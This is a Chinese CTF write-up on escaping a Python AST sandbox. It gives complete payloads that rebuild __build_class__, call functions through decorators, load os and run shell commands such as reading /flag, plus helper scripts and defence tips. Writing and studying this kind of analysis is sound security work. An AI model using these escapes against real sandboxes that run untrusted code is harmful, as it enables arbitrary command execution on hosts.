国城杯线下决赛master_ast题解
字数 1037 2025-08-22 12:22:42

Python AST 沙箱逃逸技术详解

一、题目背景分析

这是一个CTF题目,涉及Python沙箱逃逸,主要考察对Python AST(抽象语法树)和沙箱绕过技术的理解。题目设置了多重防御机制:

  1. 字符过滤:黑名单包含 ', ", (, )
  2. AST限制:通过AST检查禁止了call和import相关操作
  3. 执行环境限制:设置了globals的白名单

二、核心防御机制解析

1. 字符过滤 (BLACK_LIST)

BLACK_LIST = ['\'', '\"', '(', ')']

禁止了单引号、双引号和括号的使用,这使得常规的函数调用和字符串定义变得困难。

2. AST检查机制

def check_ast(m):
    for node in ast.walk(m):
        node_type = type(node).__name__
        if attributes.get(node_type, True) is False:
            return False
    return True

通过attributes字典限制了特定AST节点的使用,特别是CallImport相关节点被设置为False

3. 执行环境限制

safe_globals = {
    '__builtins__': {
        'pow': pow, 'divmod': divmod, 'min': min, 'max': max,
        'sum': sum, 'complex': complex, 'oct': oct, 'hex': hex
    }
}

只允许使用有限的几个内置函数,其他函数都被禁止。

三、绕过技术详解

1. 绕过括号限制

使用Python的装饰器语法(@)来替代函数调用,因为装饰器语法在AST中不涉及Call节点。

2. 构造字符串

由于引号被过滤,使用__doc__属性来构造字符串:

# 示例:构造"os"字符串
[].__doc__[32] + [].__doc__[17]

3. 关键绕过技术

(1) 修改__build_class__

__builtins__["__build_class__"] = lambda *_: [].__class__.__base__

重写类的构建过程,使其返回object基类。

(2) 获取object子类

__builtins__["__build_class__"] = lambda *_: [].__class__.__base__
@[].__class__.__base__.__class__.__subclasses__
class s: _

利用装饰器语法调用__subclasses__方法。

(3) 加载os模块

@s[120].load_module
@lambda _: "os"
class o: _

通过_frozen_importlib.BuiltinImporter(索引120)加载os模块。

(4) 执行系统命令

@o.system
@lambda _: "whoami"
class _: _

调用system方法执行命令。

四、完整Payload构造

1. 创建目录回显

__builtins__[ [].__doc__.__doc__[31] + [].__doc__.__doc__[31] + [].__doc__[13] 
+ [].__doc__[1] + [].__doc__[2] + [].__doc__[3] + [].__doc__[139] 
+ [].__doc__.__doc__[31] + [].__doc__[23] + [].__doc__[3] 
+ [].__doc__[12] + [].__doc__[17] + [].__doc__[17] 
+ [].__doc__.__doc__[31] + [].__doc__.__doc__[31] ] = lambda *_: [].__class__.__base__

@[].__class__.__base__.__class__.__subclasses__
class s: _

@s[120].load_module
@lambda _: [].__doc__[32] + [].__doc__[17]
class o: _

@o.system
@lambda _: {}.__doc__[15] + {}.__doc__[104] + {}.__doc__[0] 
+ {}.__doc__[1] + {}.__doc__[28] + {}.__doc__[6] 
+ {}.__doc__[97] + {}.__doc__[3] + {}.__doc__[27] 
+ {}.__doc__[3] + {}.__doc__[1] + {}.__doc__[2]
class _: _

2. 读取flag

__builtins__[ [].__doc__.__doc__[31] + [].__doc__.__doc__[31] + [].__doc__[13] 
+ [].__doc__[1] + [].__doc__[2] + [].__doc__[3] + [].__doc__[139] 
+ [].__doc__.__doc__[31] + [].__doc__[23] + [].__doc__[3] 
+ [].__doc__[12] + [].__doc__[17] + [].__doc__[17] 
+ [].__doc__.__doc__[31] + [].__doc__.__doc__[31] ] = lambda *_: [].__class__.__base__

@[].__class__.__base__.__class__.__subclasses__
class s: _

@s[120].load_module
@lambda _: [].__doc__[32] + [].__doc__[17]
class o: _

@o.system
@lambda _: {}.__doc__[2] + {}.__doc__[27] + {}.__doc__[3] 
+ {}.__doc__[6] + divmod.__doc__[19] + {}.__doc__[75] 
+ {}.__doc__[69] + {}.__doc__[27] + {}.__doc__[42] 
+ {}.__doc__[6] + {}.__doc__[8] + {}.__doc__[6] 
+ {}.__doc__[97] + {}.__doc__[3] + {}.__doc__[27] 
+ {}.__doc__[3] + {}.__doc__[1] + {}.__doc__[2] 
+ divmod.__doc__[19] + {}.__doc__[27] + {}.__doc__[335] 
+ {}.__doc__[3] + {}.__doc__[343] + {}.__doc__[3]
class _: _

五、辅助工具

1. 查找模块位置

import re

def ssti(array, keywords):
    result = []
    for index, element in enumerate(array):
        if keywords in element:
            result.append((index, element))
    return result

def find_by_index(array, index):
    if 0 <= index < len(array):
        return index, array[index]
    else:
        return None

data = input("输入模块列表: ")
keywords = input("输入要查找的关键字: ")
data1 = data.replace("[", "")
data2 = data1.replace("]", "")
data3 = re.sub(r'\s+<', '<', data2)
array = data3.split(",")

if keywords.isdigit():
    index = int(keywords)
    result = find_by_index(array, index)
    if result:
        print(f"{result[0]}: {result[1]}")
    else:
        print(f"输入的索引 {index} 超出数组范围。")
else:
    results = ssti(array, keywords)
    if results:
        for index, element in results:
            print(f"{index}: {element}")
    else:
        print(f"未找到包含 '{keywords}' 的元素。")

2. 构造字符串工具

a = [].__doc__
char = "cat /flag"
result = []
for s in char:
    index = a.find(s)
    if index != -1:
        result.append(f"[].__doc__[{index}]")
    else:
        print(f"Character '{s}' not found in d's docstring.")
        result.append("'?'")
expression = "+".join(result)
print(expression)

六、技术要点总结

  1. 装饰器语法绕过:利用@语法在不使用括号的情况下调用函数
  2. __doc__构造字符串:通过访问内置对象的文档字符串来拼凑所需字符
  3. 修改__build_class__:重写类构建过程实现代码执行
  4. 子类查找技巧:通过object基类获取所有子类,找到可用的导入器
  5. 模块索引定位:不同Python版本中模块索引可能不同,需要动态查找

七、防御建议

  1. 避免使用exec执行不可信代码
  2. 加强AST检查,限制更多危险节点类型
  3. __builtins__进行更严格的限制
  4. 监控和限制对__build_class__等关键属性的修改
  5. 考虑使用更安全的沙箱环境如PyPy沙箱或Docker容器
Python AST 沙箱逃逸技术详解 一、题目背景分析 这是一个CTF题目,涉及Python沙箱逃逸,主要考察对Python AST(抽象语法树)和沙箱绕过技术的理解。题目设置了多重防御机制: 字符过滤 :黑名单包含 ' , " , ( , ) AST限制 :通过AST检查禁止了call和import相关操作 执行环境限制 :设置了globals的白名单 二、核心防御机制解析 1. 字符过滤 (BLACK_ LIST) 禁止了单引号、双引号和括号的使用,这使得常规的函数调用和字符串定义变得困难。 2. AST检查机制 通过 attributes 字典限制了特定AST节点的使用,特别是 Call 和 Import 相关节点被设置为 False 。 3. 执行环境限制 只允许使用有限的几个内置函数,其他函数都被禁止。 三、绕过技术详解 1. 绕过括号限制 使用Python的装饰器语法( @ )来替代函数调用,因为装饰器语法在AST中不涉及 Call 节点。 2. 构造字符串 由于引号被过滤,使用 __doc__ 属性来构造字符串: 3. 关键绕过技术 (1) 修改 __build_class__ 重写类的构建过程,使其返回object基类。 (2) 获取object子类 利用装饰器语法调用 __subclasses__ 方法。 (3) 加载os模块 通过 _frozen_importlib.BuiltinImporter (索引120)加载os模块。 (4) 执行系统命令 调用system方法执行命令。 四、完整Payload构造 1. 创建目录回显 2. 读取flag 五、辅助工具 1. 查找模块位置 2. 构造字符串工具 六、技术要点总结 装饰器语法绕过 :利用 @ 语法在不使用括号的情况下调用函数 __doc__ 构造字符串 :通过访问内置对象的文档字符串来拼凑所需字符 修改 __build_class__ :重写类构建过程实现代码执行 子类查找技巧 :通过object基类获取所有子类,找到可用的导入器 模块索引定位 :不同Python版本中模块索引可能不同,需要动态查找 七、防御建议 避免使用 exec 执行不可信代码 加强AST检查,限制更多危险节点类型 对 __builtins__ 进行更严格的限制 监控和限制对 __build_class__ 等关键属性的修改 考虑使用更安全的沙箱环境如PyPy沙箱或Docker容器